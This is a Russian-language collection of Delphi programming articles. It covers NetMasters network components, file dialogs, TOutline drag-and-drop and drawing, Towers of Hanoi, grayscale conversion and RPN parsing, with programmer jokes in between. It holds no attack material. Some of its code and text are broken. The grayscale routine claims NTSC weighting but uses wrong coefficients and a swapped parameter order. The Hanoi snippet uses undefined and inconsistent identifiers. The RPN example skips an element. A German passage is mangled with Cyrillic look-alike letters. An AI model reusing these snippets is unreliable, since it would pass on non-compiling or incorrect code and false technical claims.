Событие OnHeaderIncomplete происходит, если остались незаполненными следующие свойства из свойства PostMessage: свойство FromAddress или ни одно из следующих свойств - ToAddress, ToCarbonCopy, ToBlindCarbonCopy. Событие относится к типу THeaderIncomplete, является модификацией типа THandlerEvent и в добавление к параметру Handled типа boolean имеет ещё один параметр целого типа hiType. Этот последний параметр указывает номер незаполненного поля и может принимать следующие значения:

hiFromAddress: не заполнено поле FromAddress hiToAddress: не заполнено ни одно из полей ToAddress, ToCarbonCopy или ToBlindCarbonCopy

Если у параметра Handled значение true, то попытка отправить сообщение повторяется. Если и после второй попытки ни одно из требуемых полей ни одно из требуемых полей оказывается незаполненным, возбуждается исключительная ситуация, и сообщение не посылается, хотя работа с ним продолжается, и вы вновь можете попытаться его отправить.

Событие OnMailListReturn наступает когда метод ExpandList получает от почтового сервера список адресов. Список передаётся обработчику события через параметр.

Событие OnRecipientNotFound происходит если не найден один из получателей сообщения. Событие получает ошибочный адрес в качестве значения своего параметра.

Событие OnSendStart генерируется непосредственно перед отправкой электронного сообщения. Событие даёт последнюю возможность внести в письмо какие-либо изменения.

Событие OnSuccess генерируется после того как сообщение успешно доставлено. Если сообщение не доставлено, то в этом случае наступает событие OnFailture.

Компоненты TNMStrm И TNMStrmServ.

Компоненты TNMSTRM И TNMSTRMSERV применяются для обмена так называемыми потоками. Первый компонент применяется для клиентской программы, а второй - для сервера потоков. Если клиентская программа должна поддерживать и приём потоков, то в неё нужно добавить второй серверный компонент.

Ранее мы рассматривали пару компонентов TNMMsg и TNMMsgServ, которые используются для обмена текстовыми сообщениями. Компоненты , которые мы рассматриваем сейчас, так же используются для обмена информацией, только область их применения несколько шире: данные могут не только текстового вида, но и двоичного. Эти компоненты могут использоваться для обмена любыми файлами . Как уже было сказано эти компоненты обмениваются не самими файлами, а потоками[streams].

Механизм потоков используется для работы с массивами данных, необязательно организованными в файлы. В том числе это может быть буфер в памяти, длинная строка символов и т.д. Во всех этих случаях доступ к данным напоминае6т работу с файлом. Есть соответствующие методы для записи и чтения данных. В Delphi имеются следующие классы потоков:

TFileStream TStringStream TMemoryStream TBlobStream TWinSocketStream

Для работы с файловыми и строковыми потоками, потоками в динамической памяти, BLOB-потоками и сокетными соединениями соответственно. Все эти классы являются потомками класса TStream.

Перед тем как посылать поток, вы должны указать имя удалённого компьютера, на который вы собираетесь отправлять потоки. Кроме того, нужно в свойстве Port указать порт, соответствующий порту сервера потоков. В свойстве FromName нужно указать своё имя, чтобы получатель знал, от кого пришли данные. Только после того как будут заданы значения этим свойствам, вы сможете послать поток данных методом PostIt, указав его в параметре sStrm. Если сервер получил поток без ошибок, то метод возвращает OK в качестве ответа сервера. После отправки сообщения генерируется событие OnMessageSent.

Если вы хотите изменить значение порта по умолчанию, который слушает ваш сервер потоков, то во время разработки приложения вы это можете сделать в Инспекторе Объектов, изменив значение свойства Port.

Для обработки получаемых сервером потоков вам нужно написать обработчик события OnMSG, который вызывается, когда сервер получает очередной поток. Обработчик события имеет два параметра: параметр sFrom содержит имя отправителя сообщения, в параметре strm находится полученный поток. Помните, что когда вы выйдете из обработчика этого события, полученный поток будет потерян, поэтому вы обязательно должны взять данные из параметра strm и обработать их.

Компонент TNMTime.

Однажды молодой сисадмин, открыв свой почтовый ящик, нашел там повестку в райвоенкомат. - Опять этот чертов спам, - прорычал он, нервно разрывая повестку в клочья. .

Этот компонент предназначен для получения времени от серверов времени в соответствии с протоколом RFC 868. Он аналогичен компоненту TNMDayTime.

Перед тем как использовать этот компонент, вы должны знать имя или IP-адрес соответствующего сервера Интернет и присвоить это значение свойству Host, в которое помещается имя сервера или разделённый точками IP-адрес. Свойство Port изменяется только в том случае, если сервер, к которому вы обращаетесь "слушает" не стандартный порт. А стандартный порт - 37.

После задания имени серверу читайте значение свойства TimeStr, в которое записывается полученное от сервера времени значение.

Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
  NMTime1.Host:=Edit1.Text;
  NMTime1.Port:=StrToInt(Edit2.Text);
  Label3.Caption:=NMTime1.TimeStr;
end;

Компонент TNMUDP.

- Паша, а что это твоя АСЬка каждую мессагу по два раза шлет? - Не знаю точно, но у меня она пополамная...

Компонент TNMUDP используется для отправки пакетов по Интернет или Интранет с использованием протокола UDP [User Datagram Protocol], протокола пользовательских датаграм. Стандарт протокола описан в RFC 768.

Перед тем как отправлять пакеты датаграм, вам нужно задать имя удалённого компьютера и порт, на который вы будете посылать данные. Эти значения нужно присвоить свойствам RemoteHost и RemotePort соответственно. Далее можно отправлять данные одним из двух методов: метод SendBuffer отправляет на удалённый компьютер массив символов [или буфер данных], а метод SendStream занимается отправкой потоков данных. Для получения данных нужно указать значение для свойства LocalPort. Это свойство задаётся во время разработки и не может быть изменено во время выполнения, кроме случая, когда компонент создаётся динамически, с помощью метода Create. В последнем случае свойству LocalPort присвоить значение можно только один раз. Когда данные поступили их можно использовать, происходит событие OnDataAvailable. В обработчике этого события вы можете вызвать метод ReadBuffer и считать данные в буфер или метод ReadStream, чтобы поместить данные в поток. Упомянем, что свойство ReportLevel, которое определяет степень детализации, с которой событие OnStatus выдаёт свой отчёт. Значение по умолчанию Status_Informational. В качестве значений свойства могут выступать только следующие константы:

Status_None Status_Informational Status_Basic Status_Routines Status_Debug Status_Trace

Теперь о методах этого компонента. Метод ReadBuffer считывает приходящие датаграммы и помещает их буфер. У метода есть два параметра: параметр Buff задаёт буфер, в который помешаются данные, второй параметр Length - размер данных. Нужно следить за тем, чтобы размер буфера был достаточным для размещения поступающих данных. Если вы пытаетесь записать в буфер данных больше, чем он может вместить, то произойдёт ошибка доступа к памяти.

Отправляют данные методы SendBuffer и SendStream. Первый применяется для отправки на сервер порции данных, записанных в буфер. У этого метода та же пара параметров, что у метода ReadBuffer. Если в массиве Buff нет данных, будет сгенерировано событие OnBufferInvalid. Метод SendStream отсылает поток на удалённый компьютер. Если поток DataStream не содержит данных, произойдёт событие OnStreamInvalid.

Событие OnDataReceived генерируется, когда получены данные от удалённого компьютера. Обработчик события имеет три параметра: в параметре NumberBytes находится количество пришедших байт данных, в параметре FromIP указывается IP-адрес компьютера, который прислал эти данные, и в параметре Port - порт, по которому отправляет свои датаграммы этот удалённый компьютер.

Событие OnDataSend наступает, когда данные успешно отправляются методом SendStream или методом SendBuffer. Нужно заметить, что если произошло событие OnDataSend, означающее успешную отправку данных, это не гарантирует, что данные действительно будут получены удалённым компьютером. Вызвано это тем, что сам протокол UDP не поддерживает контроль доставки данных.

Событие OnInvalidHost генерируется, если в свойстве RemoteHost сервер указан неправильно.

Компонент TNMURL.

Транскрипция MS Internet Explorer: [Майкрософт Интернет Испортил]

Компонент TNMURL применяется для декодирования строк в формате URL в "стандартные" строки и кодирования символьных строк в строки формата URL, которые можно использовать в HTTP-запросах.

Кодирование выполняется по следующим правилам:

Все поля [переменные] отделяются знаком амперсанта "&" Имена полей и данных разделяются знаком равенства "=" Пробелы заменяются на знак плюс "+" Любой не алфавитно-цифровой символ преобразовывается в знак процента, за которым следует шестнадцатеричный код этого символа из таблицы ASCII. Например, знак минус будет выглядеть как "%2D"

Работать с этим компонентом очень просто. Нужно задать обрабатываемую строку в свойстве InputString, после чего выбрать нужное вам значение из свойства Encode, либо декодированное значение из свойства Decode. В случае возникновения исключительной ситуации произойдёт событие OnError. В свойство Decode записывается результата декодирования строки из свойства InputString. Если в InputString задана строка не формате URL, а обычная строка, то в свойство Decode она попадает в неизменном виде. В свойство Encode помещается преобразованная в формат URL строка из свойства InputString.

Компонент TNMUUProcessor.

Компонент выполняет чисто техническую задачу кодирования и декодирования файлов по алгоритму MIME или UUEncodes. Файлы в закодированном виде создаются для передачи по сети. После их получения выполняется обратная задача - декодирование.

Чтобы компонент мог выполнить свою задачу, нужно в свойстве InputStream указать имя обрабатываемого потока, в свойстве Method выбрать метод кодирования/декодирования, в свойстве OutputStream указать выходной поток, а затем вызвать метод Encode или Decode для выполнения кодирования или декодирования соответственно. Свойство Method может принимать только два значения:

uuMime uuCode

Потоки могут представлять файлы или области в динамической памяти.

Событие OnBeginEncode происходит перед началом кодирования потока. Событие OnEndEncode происходит перед завершением метода Encode. Событие OnBeginDecode и OnEndDecode генерируются аналогичным образом при выполнении оператора декодирования.

Как определить, является ли метод потомком TNotifyEvent.

Автор: Jack Sudarev WEB-сайт: http://www.lmc-mediaagentur.de

If I am given a TPersistent object, and a method name, is there a way to determine if the name is an event of TNotifyEvent type? For example, given a TPersistent lMyObj and an event name, "OnDataChanged", how can I determine if OnDataChanged is a TNotifyEvent?

function IsNotifyEvent(Sender: TObject; const Event: string): Boolean;
var
  PropInfo: PPropInfo;
  Method: TNotifyEvent;
begin
  Result := False;
  PropInfo := GetPropInfo(Sender.ClassInfo, Event);
  if not Assigned(PropInfo) then
    Exit;
  if PropInfo.PropType^.Kind <> tkMethod then
    Exit;
  Method := TNotifyEvent(GetMethodProp(Sender, PropInfo));
  Result := Assigned(Method);
end;

Добавление изображений на кнопки панели инструментов во время работы приложения.

Оформил: DeeCo

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Image1.Picture.Icon.LoadFromFile(OpenDialog1.FileName);
    Edit1.Text := OpenDialog1.FileName;
    ImageList1.AddIcon(Image1.Picture.Icon);
    Edit2.Text := IntToStr(ImageList1.Count);
  end;
end;
Статьи по Delphi (017)… Статьи по Delphi (017)…

Использование меню Инструменты в IDE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

The menu "Tools" is a free configurable part of the Delphi-IDE. You can there insert tools, you often use while coding. I (for example) have the MSDN and another Editor in there. First choose Tools / Configure Tools. Then click Add, to add another item. Title is the caption beeing showed, when you open the tools menu. A & makes the next letter to the QuickSelect letter. Program is the program, you want to launch. Use here (for example) "C:\Program Files\TextPad\TextPad.exe". If you have spaces in you path or filename, quote the hole string. Working dir is the directory, the program will be launched. It''s normally the same as the program directory. Parameters are beeing given to the program, you run, or (in case of macros) are beeing run, when you select the item. Click on parameters, to show a list of macros for use with it. With a second editor, the macros $SAVEALL and $NAME will be usefull. To make the menu more structured, you can use a horizontal rule. You create one, by entering - in the Title field. Cause of a bug in the Delphi IDE, you cannot create a second rule as easy. You''ll have to enter another caption first and then rename it. {***************************************************************************} Das Tools Menu ist ein frei konfigurierbarer Teil der Delphi-IDE. Man kann darin Programme, die man oft zur Entwicklung von Delphi-Programmen braucht konfigurieren, um sie bei Bedarf schneller zu цffnеn. Ich habe dort drin z.B. die MSDN und ein alternativer Editor fьг Delphi-Sources, sowie einige andere Tools. Zuerst wдh1t man Tools / Configure Tools. In dem dann erscheinenden Menu kann man per Add neue Еintгдgе hinzиfьgеn. Unter Title gibt man den Namen an, der erscheinen soll. '&' unterstreicht den nдсhstеn Buchstaben (QuickSelect). Unter Programm gibt man das Programm an, welches man starten mцсhtе. Z.B. C:\Programme\TextPad\TextPad.exe. Wenn der Pfad Leerzeichen еnthд1t, muss man entweder alles ins 8.3-Format konvertieren, oder den Pfad mit "" schreiben. Unter Working Dir sollte man den Pfad angeben, in dem auch das Programm ist. Unter Parameters kann man Makros sowie auch Parameter fьг das Programm hinzиfьgеn. Mit einem Klick auf Macros цffnеt sich eine Liste mit den vorhandenen Makros mit kurzer Beschreibung. Fьг einen zweiten Editor wдhге z.B. $SAVEALL, sowie $NAME sehr nьtz1iсh. Um das ganze Menu besser Strukturieren zu кцnnеn, кцnnеn Horizontale Linien angelegt werden. Dies macht man mit einem neuen Item, dass unter Title einen - (Bindestrich) drin hat. Leider hat es in Delphi einen Bug, der verhindert, dass man zwei mal das "selbe" Item anlegt. Um noch eine zweite Linie zu erstellen, muss man zuerst einen anderen Namen nehmen (z.B. Temp) und dann unter Edit das auf - дndегn.

TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog.

Перевод одноимённой статьи с сайта delphi.about.com Стандарные диалоговые окошки Практически любое приложение Windows использует стандартные диалоги, встроенные в операционную систему, для открытия и сохранения файлов, поиска текста, печати, выбора шрифта или установки цвета. В этой статье мы рассмотрим основные свойства и методы этих диалогов и, особенно, сфокусируем внимание на диалогах Open и Save. Статьи по Delphi (017)… Стандартные диалоговые окошки можно найти на панели компонентов в закладке Dialogs. Для того, чтобы начать использовать определённое диалоговое окошко, его достаточно поместить на форму. Компоненты стандартных диалогов являются невидимыми, поэтому Вы не сможете изменить дизайн такого диалога во время разработки приложения. TOpenDialog и TSaveDialog Статьи по Delphi (017)… Статьи по Delphi (017)… Диалоговые окошки File Open и File Save имеют несколько общих свойств. File Open в основном используется для выбора и открытия файлов, в то время как диалог File Save (так же используется как диалоговое окошко Save As) используется для получения от пользователя имени файла, чтобы сохранить файл. Далее мы рассмотрим некоторые важные свойства TOpenDialog и TSaveDialog:

Свойство Options предназначено для задания конечного вида окна. Например, при помощи следующего кода:

with OpenDialog1 do
  Options := Options + [ofAllowMultiSelect, ofFileMustExist];
мы позволим пользователю выбирать несколько файлов, а так же заставим генерироваться сообщение об ошибке, если пользователь выберет несуществующий файл.

Свойство InitialDir используется для указания директории, которая будет показана при создании диалога. Следующий код установит начальную директорию, из которой было запущено приложение:

SaveDialog1.InitialDir := ExtractFilePath(Application.ExeName);
Свойство Filter содержит список типов файлов, которые сможет выбирать пользователь. Когда пользователь выберет тип файлов, то в диалоговом окне будут отображаться только файлы данного расширения. Фильтр можно легко установить на стадии создания приложения при помощи диалога редактора фильтра (Filter Editor): Статьи по Delphi (017)…

Так же фильтр можно задать программно. Строка фильтра должна содержать описание и расширение для данного типа файлов, разделённые вертикальной чертой:

OpenDialog1.Filter := 'Text files (*.txt)|*.txt|All files (*.*)|*.*';
Свойство FileName. Когда пользователь нажмёт на диалоге кнопку OK, то это свойство будет содержать полный путь и имя выбранного файла. Вызов диалогового окошка Для создания и отображения стандартного диалога необходимо выполнить метод Execute для нужного диалога. За исключением диалогов TFindDialog и TReplaceDialog, все остальные диалоги отображаются модально.

Все стандартные диалоговые окошки позволяют определить нажал ли пользователь кнопку "Отмена" (Cancel) (или нажал ESC). Если метод Execute вернул True значит пользователь нажал OK или сделал двойной щелчёк по файлу либо нажал Enter на клавиатуре, иначе, если была нажата кнопка Cancel, клавиша Esc или Alt-F4, будет возвращено значение False.

if OpenDialog1.Execute then
  ShowMessage(OpenDialog1.FileName);
Этот код показывает диалог File Open и, если пользователь нажал "Открыть" (Open), то будет показано имя выбранного файла. Использование только кода

Чтобы работать диалогом Open (или любым другим) не помещая при этом на форму компонент OpenDialog, можно воспользоваться следующим кодом:

procedure TForm1.btnFromCodeClick(Sender: TObject);
var
  OpenDlg: TOpenDialog;
begin
  OpenDlg := TOpenDialog.Create(Self);
  {здесь устанавливаем опции...}
  if OpenDlg.Execute then
  begin
    {здесь что-нибудь делаем}
  end;
  OpenDlg.Free;
end;
Обратите внимание, что перед вызовом Execute, можно установить различные свойства компонента OpenDialog. TOpenPictureDialog и TSavePictureDialog Статьи по Delphi (017)… Статьи по Delphi (017)… Эти два диалога есть ничто иное как обычные File Open и File Save с дополнительной возможностью предварительного просмотра выбранной картинки. Мой Блокнот А теперь предлагаю применить теорию на практике. Создадим простейший блокнот, и посмотрим как работают диалоговые окошки Open и Save: Статьи по Delphi (017)…

Для создания блокнота проделаем следующее:

Запустите Delphi и выберите в меню File-New Application. Поместите на форму Memo, OpenDialog, SaveDialog и две кнопки. Переименуйте Button1 в btnOpen, а Button2 в btnSave. Код

1. Поместите в событие формы FormCreate следующий код:

procedure TForm1.FormCreate(Sender: TObject);
begin
  with OpenDialog1 do
  begin
    Options := Options + [ofPathMustExist, ofFileMustExist];
    InitialDir := ExtractFilePath(Application.ExeName);
    Filter := 'Text files (*.txt)|*.txt';
  end;
  with SaveDialog1 do
  begin
    InitialDir := ExtractFilePath(Application.ExeName);
    Filter := 'Text files (*.txt)|*.txt';
  end;
  Memo1.ScrollBars := ssBoth;
end;
Этот код устанавливает некоторые свойства диалога Open как было описано в начале статьи.

2. Добавьте следующий код в событие Onclick для кнопок btnOpen и btnSave:

procedure TForm1.btnOpenClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Form1.Caption := OpenDialog1.FileName;
    Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
    Memo1.SelStart := 0;
  end;
end;
procedure TForm1.btnSaveClick(Sender: TObject);
begin
  SaveDialog1.FileName := Form1.Caption;
  if SaveDialog1.Execute then
  begin
    Memo1.Lines.SaveToFile(SaveDialog1.FileName + '.txt');
    Form1.Caption := SaveDialog1.FileName;
  end;
end;
Теперь можно смело запускать проект:

Статьи по Delphi (017)…

Компонент TOraCommentsToFL — загрузка русских наименований колонок из ERwin в DisplayLabels.

Оформил: DeeCo

Автор: Сергей Седов

Хочу поделиться идеей, которая, может и приходила уже кому-нибудь в голову, но я пока не встречал таких решений... Для тех, кто проектирует базы данных для Oracle в ERwin. Предлагаю решение для загрузки русских наименований колонок из ERwin в DisplayLabels датасета.

Компонент, конечно, сырой, но я пользуюсь, и очень поиогает. Ненавижу вбивать один текст по 10 раз. Что нужно сделать: 1. Создать в ErWin скрипт на уровне модели следующего содержания:
%ForEachTable()
{
%ForEachColumn()
{
COMMENT ON COLUMN %TableName.%ColName IS '%AttName';
}}
2. Сгенерировать базу. 3. В дата-модуле или на форме разместить компонент TOraCommentsToFL. 4.Установить его свойство OraDataSet. 5. Установить свойство LoadFieldLabels в True, после чего названия полей будут загружены из базы Oracle. 6. После этого компонент можно удалить с формы! Примечание: Требуются установленные компоненты ODAC.

Скачать OraCommentsToFL.zip (3K).

TOutline - Перетащи и брось.

Приходит один фидошник к другому на День Рождения. Приносит открытку, навороченная такая, обалденно красивая, на ней написанно: "Поздравляю С Днем Рождения" такими красивыми буквами... Именинник открывает открытку, а там большими карявыми буквами написанно: "САБЖ".

Вам нужно перехватывать в TOutline сообщение wm_DropFiles. Для этого необходимо создать его потомка. Также, вы должны убедиться в том, что дескриптор TOutline Handle хотя бы раз передавался в качестве параметра функции DragAcceptFiles. Для определения положения мыши в момент перетаскивания используется DragQueryPoint. Если вы прочтете разделы в WINAPI.HLP по DragAcceptFiles, wm_DropFiles, DragQueryFile, DragQueryPoint и DragFinish, то вы поймете, как все это работает.

TOutline - Перетащи и брось 2.

Установите DragMode = dmManual, создайте OnMouseDownHandler, внутри обработчика осуществите вызов BeginDrag(False). BeginDrag(False) в действительности не начинает перемещение, пока пользователь не переместит объект больше, чем на 5 пикселей, так что если пользователь просто щелкнет на компоненте, операция перетаскивания даже не начнется.

TOutline - Перетащи и брось 3.

Проблема заключается в том, что прежде, чем windows сможет обработать сообщение WM_MouseUp, курсор мыши передвинется дальше. Вот решение этой головоломки: Разрешите Windows как можно скорее обработатывать события мыши:
OnMouseDown:
BeginDrag(False);
while ... do
begin
Application.ProccessMessages; { это позволяет Windows обработать }
{ все сообщения за один шаг }
end;
Комментарий: Обратите пристальное внимание при создании цикла, если вы используете цикл типа 'while', то вы должны предусмотреть возможность выхода из него, например, при закрытии приложения, или других действий пользователя, требующих экстренного выхода из тела цикла. Аналогично:
OnMouseDown:
BeginDrag(False);
Application.ProccessMessages;
while ... do
begin
{ единственный шаг обработки }
end;
Убедитесь в правильности работы кода. Переместите вызов BeginDrag в обработчик события OmMouseMove.

Пример отрисовки TOutline.

Автор: David E. Scheim Мне необходимо было изменить поведение компонента по части его отрисовки, к примеру, мне нужно было позволить пользователю выделить несколько значений и покрасить их в другой цвет. Я с удивлением обнаружил, что использование функции GetItem для определения отрисовываемой строки на редкость просто и понятно. Прежде же для этой цели я создавал цикл, вылавливал из всех индексов нужный и затем передавал его процедуре. Но в случае с множественным выбором это становилось медленным, неуклюжим и запутанным.

Ниже я разместил пример такой программы. Она позволяет рисовать символы плюсы/минусы плюс сам текст. Я также включил в нее код для создания, загрузки и освобождения иконок с символами плюса и минуса.

procedure TForm1.FormCreate(Sender: TObject);
begin
  BitmapPlus := TBitmap.Create;
  BitmapPlus.LoadFromFile('c:\delphi\images\default\outplus.bmp');
  BitmapMinus := TBitmap.Create;
  BitmapMinus.LoadFromFile('c:\delphi\images\default\outminus.bmp');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  BitMapPlus.Destroy;
  BitMapMinus.Destroy;
end;
procedure TForm1.Outline1DrawItem(Control: TWinControl;
  Index: Integer; Rect: TRect; State: TOwnerDrawState);
var
  iLeft, iht: integer;
  s: string;
  NodeInView: TOutlineNode;
  col: TColor;
  {Примечание: BitMapvariables BitMapPlus и ..
  Минус объявлены глобально и грузятся при создании формы}
begin
  with (Control as TOutline).Canvas do
  begin
    {рисуем на холсте элемента управления, не на форме}
    IndexInFull := outline1.getitem(rect.left + 1, rect.top + 1);
    NodeInView := Outline1.Items[IndexInFull];
    Font := Outline1.Font;
    iLeft := Rect.Left;
    iht := Outline1.ItemHeight;
    inc(iLeft, iht * (NodeInView.level - 1));
    s := NodeInView.Text;
    Col := clWindow;
    Font.Color := clWindowText;
    Brush.Color := col;
    FillRect(Rect); { очищаем прямоугольник }
    if NodeInView.HasItems and not NodeInView.Expanded then
      {Draw(iLeft,Rect.Top, BitmapPlus)}
      BrushCopy(Bounds(iLeft + 1, Rect.Top + 1, iht - 2, iht - 2), BitMapPlus,
        Bounds(0, 0, BitMapPlus.Width, BitMapPlus.Height),
        BitMapPlus.TransparentColor);
    if NodeInView.Expanded and NodeInView.HasItems then
      BrushCopy(Bounds(iLeft + 1, Rect.Top + 1, iht - 2, iht - 2), BitMapMinus,
        Bounds(0, 0, BitMapMinus.Width, BitMapMinus.Height),
        BitMapMinus.TransparentColor);
    if Copy(NodeInView.Text, Length(NodeinView.Text), 1) = 'y' then
      Col := clAqua;
    if Outline1.SelectedItem = IndexInFull then
    begin
      Col := clHighlight;
      Font.Color := clHighlightText
    end;
    Brush.Color := col;
    inc(ILeft, iht);
    TextOut(iLeft, Rect.Top, s);
  end;
end;

TOutline OwnerDraw - значение индекса.

Автор: Blake Versiga

Параметр TheOutline Index в обработчике OwnerDraw всегда равен нулю.

{ получаем значение Index узла, который нужно отрисовать}
ItemIndex := Outline1.GetItem(Rect.Left, Rect.Top);
{Получаем узел Ouline }
Node := Outline1.Items[ItemIndex];

Поточность TOutline.

Автор: Nick Hodges ...я уже обратил внимание на то, что TOutline является потомком TPersistence. Поэтому теоретически возможно сохранение в потоке дерева объектов и его последующая загрузка. И все равно я не пойму как в этом случае работать с двоичным файлом...

Ниже приведен простейший путь решения вашего вопроса. Имейте в виду, что в коде не предусмотрена проверка на ошибки чтения и гарантии принадлежности компонента типу TOutline.

procedure TForm1.Button2Click(Sender: TObject);
var
  S: TFileStream;
begin
  S := TFileStream.Create('C:\junk\myoutlin.dat', fmCreate);
  try
    S.WriteComponent(Outline1);
  finally
    S.Free;
  end;
end;
procedure TForm1.Button3Click(Sender: TObject);
var
  S: TFileStream;
begin
  S := TFileStream.Create('C:\junk\myoutlin.dat', fmOpenRead);
  try
    S.ReadComponent(Outline1);
  finally
    S.Free;
  end;
end;

Ханойская башня.

Тяжёлое детство: восьмибитные игрушки.

"Ханойская башня" построена на очень простом алгоритме. Здесь я привожу этот алгоритм, который Вы сможете без труда воспроизвести.

type
  THanoiBin = 0..2;
  THanoiLevel = 0..9;
procedure MoveDisc(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
//  Это Вы должны сделать сами. Переместите один диск с одного штырька на другой.
//  Диск окажется наверху (естественно, выше него дисков не будет) 

Вы можете каким угодно образом перемещать диски 3-х пирамид. 3 пирамиды - наиболее простая разновидность алгоритма. Таким образом процедура переноса диска (MoveDisc) аналогична операции переноса диска на верхний уровень (MoveTopDisc): переместить диск наверх с одного штырька (FromPin) на другой штырек (ToPin) и передать указатель на штырек-приемник (MoveTower) вместе с уровнем расположения перемещенного диска. Другое решение заключается в использовании трех массивов [THanoiLevel] логического типа. В этом случае триггер "Истина (True)" означает наличие на пирамиде диска с размером, соответствующим порядковому номеру элемента массива THanoiLevel.

procedure MoveTower(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
begin
  if HanoiLevel <= High(THanoiLevel) then
  begin
    MoveTower(FromPin, 3 - FromPin - ToPin, Level + 1);
    MoveDisc(FromPin, ToPin, Level);
    MoveTower(3 - FromPin - ToPin, ToPin, Level + 1);
  end;
end;

Чтобы переместить пирамиду целиком, вы должны вызвать процедуру MoveTower следующим образом:

MoveTower(0, 1, Low(THanoiLevel)); 

Получить оттенок серого из RGB-цвета.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The following function helps you to convert a RGB Color to Grayscale. 
  It works after the american NTSC (National Televisision Standards Committee) 
  system. 
}
 { 
  Mit Hilfe des folgenden Codes lasst sich die Graustufe einer 
  beliebigen RGB Farbe herausfinden. Das System arbeitet nach dem 
  vom amerikanischem NTSC (National Televisision Standards Committee) 
  vorgelschlagenem System. 
  Es kann unteranderem dazu verwendet werden ein Bild in Graustufen 
  darzustellen. (siehe dazu Tipp http://www.swissdelphicenter.ch/de/showcode.php?id=437) 
}
 function GetGreyScale(red, blue, green: TColor): TColor;
 var
    Color: Integer;
 begin
   Color := Round(red * 0.56 + green * 0.33 + blue * 0.11);
   Result := RGB(Color, Color, Color);
 end;

Как узнать значения, которые пользователь вводит в TDBGrid.

С точки зрения программиста пользователь - это периферийное устройство, вводящее набор символов в ответ на команду READ.

Вы можете "видеть" что набирается в TDBGrid, "смотря" на контрол сетки TInPlaceEdit. Вы должны убедиться только в том, что к моменту использования TInPlaceEdit, контрол уже создан. Следующая функция покажет данные, редактируемые в колонках сетки:

procedure TForm1.DBGrid1KeyUp(Sender: TObject;
          var Key: Word; Shift: TShiftState);
var
  B: byte;
begin
  for B := 0 to DBGrid1.ControlCount - 1 do
    if DBGrid1.Controls[B] is TInPlaceEdit then
      with DBGrid1.Controls[B] as TInPlaceEdit do
        Label1.Caption := 'Text = ' + Text;
end;

Преобразование выражения к Обратной Польской Нотации.

Автор: Avr555 WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование выражения к Обратной Польской Нотации
Для работы функции необходимо определить тип:
type
OperList = array of widestring;
Параметром функции служит массив из переменных и операторов.
Результат - массив из переменных и операторов
Зависимости: SysUtils
Автор:       avr555, avr555@mail.ru, ICQ:15782989
Copyright:   Переделано с http://algolist.manual.ru/syntax/revpn.php
Дата:        26 мая 2002 г.
***************************************************** }
function ConvertToRPN(AStr: OperList): OperList;
var
  i, k: integer;
  Stack: OperList; //Stack
  AResult: OperList; //Tmp for result
  function Prior(AOper: widestring): integer;
  begin
    {Приоритет операции:
      NOT - 8
      унарный "-" - 7
      "*", "/" - 6
      "+", "-" - 5
      ">", "<", "=",
      "<>", ">=",
      "<=" - 4
      "AND" - 3
      "OR" - 2
      "(", ")" - 1
    }
    AOper := trim(AOper);
    result := -1;
    if AOper = 'NOT' then
      Result := 8;
    if (AOper = '*') or (AOper = '/') then
      Result := 6;
    if (AOper = '+') or (AOper = '-') then
      Result := 5;
    if (AOper = '>') or (AOper = '<') or (AOper = '<>') or (AOper = '>=')
      or (AOper = '<=') or (AOper = '=') then
      Result := 4;
    if AOper = 'AND' then
      Result := 3;
    if AOper = 'OR' then
      Result := 2;
    if (AOper = '(') or (AOper = ')') then
      Result := 1;
  end;
  procedure AddToStack(AOper: widestring);
  begin
    {Добавление элементы в стек}
    SetLength(Stack, High(Stack) + 2);
    Stack[High(Stack)] := AOper;
  end;
  procedure AddToResult(AOper: widestring);
  begin
    SetLength(AResult, High(AResult) + 2);
    AResult[High(AResult)] := AOper;
  end;
begin
  {Конвертирование строку в Обратную Польскую Нотацию
    Возвращает - массив
    Алгоритм:
      а) если стек пуст, то операция из входной строки переписывается в стек;
      б) операция выталкивает из стека все операции с большим или равным
         приоритетом в выходную строку;
      в) если очередной символ из исходной строки есть открывающая скобка,
         то он проталкивается в стек;
      г) закрывающая круглая скобка выталкивает все операции из стека до
         ближайшей открывающей скобки, сами скобки в выходную строку не
         переписываются, а уничтожают друг друга.
  }
  Result := nil;
  AResult := nil;
  i := 0;
  while i <= High(AStr) do
  begin
    if Prior(AStr[i]) = -1 then //Значит просто переменная
      AddToResult(AStr[i])
    else //Операции
    begin
      if High(Stack) = -1 then {a}
        AddToStack(AStr[i])
      else
      begin
        if AStr[i] = '(' then {в}
          AddToStack(AStr[i])
        else
        begin
          if AStr[i] = ')' then {г}
          begin
            k := High(Stack);
            while (k >= 0) and (Stack[k] <> '(') do
            begin
              AddToResult(Stack[k]);
              SetLength(Stack, High(Stack)); //Удаляем элемент из стека
              k := k - 1;
            end;
            //Удаляем открывающуюся скобку
            SetLength(Stack, High(Stack)); //Удаляем элемент из стека
          end
          else
          begin
            k := High(Stack);
            while (k >= 0) and (Prior(Stack[k]) >= Prior(AStr[i])) do {б}
            begin
              AddToResult(Stack[k]);
              SetLength(Stack, high(Stack)); //Удаляем элемент из стека
              k := k - 1;
            end;
            AddToStack(AStr[i]); //Если не скобка просто добавляем в стек
          end;
        end;
      end;
    end;
    i := i + 1;
  end; //while
  //Сбрасываем все оставшееся из стека
  for i := high(Stack) downto 0 do
  begin
    AddToResult(Stack[i]);
  end;
  result := AResult;
end;

Пример использования:

procedure test;
var
  s, s1: widestring;
  tmp,
    rtmp: OperList;
  i: integer;
begin
  s := '(A+B)*(C+D)-E';
  tmp := nil;
  rtmp := nil;
  for i := 1 to Length(S) do
  begin
    SetLength(tmp, high(tmp) + 2);
    tmp[high(tmp)] := S[i];
  end;
  rtmp := ConvertToRPN(tmp);
  s1 := '';
  for i := 1 to High(rtmp) do
  begin
    s1 := s1 + rtmp[i];
  end;
end;

Преобразование информации из табличных компонент в RTF.

Автор: Delirium WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование информации из табличных компонент в RTF
